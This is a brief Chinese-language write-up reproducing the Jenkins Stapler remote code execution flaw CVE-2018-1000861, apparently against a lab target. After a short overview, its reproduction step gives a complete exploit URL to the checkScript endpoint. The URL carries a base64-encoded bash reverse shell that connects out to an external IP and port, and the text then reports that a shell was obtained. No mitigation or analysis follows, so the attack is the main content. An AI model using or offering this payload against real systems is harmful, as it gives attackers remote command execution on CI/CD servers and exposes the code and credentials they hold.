Jenkins 远程代码执行漏洞(CVE-2018-1000861)
概述
Jenkins 是一个开源的 持续集成和持续交付(CI/CD) 工具,用于自动化软件开发过程中的构建、测试、部署等任务。它通过插件化的架构支持广泛的功能扩展,是 DevOps 实践中的核心工具之一。
Jenkins 2.153 及更早版本、LTS 2.138.3 及更早版本使用的 Stapler Web 框架在
stitcher/core/src/main/java/org/kohsuke/stapler/MetaClass.java
中存在代码执行漏洞,其允许攻击者通过构造的 URLs 去引用一些 Java 对象的方法,但是这些路径原本不是被用来这样设计调用的。
漏洞复现
开启靶场后,访问:http://192.168.2.243:8081/,可以发现网站已经正常运行了。
访问如下路径。
http://192.168.2.243:8081/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D".execute()}}
可以成功获取到Shell。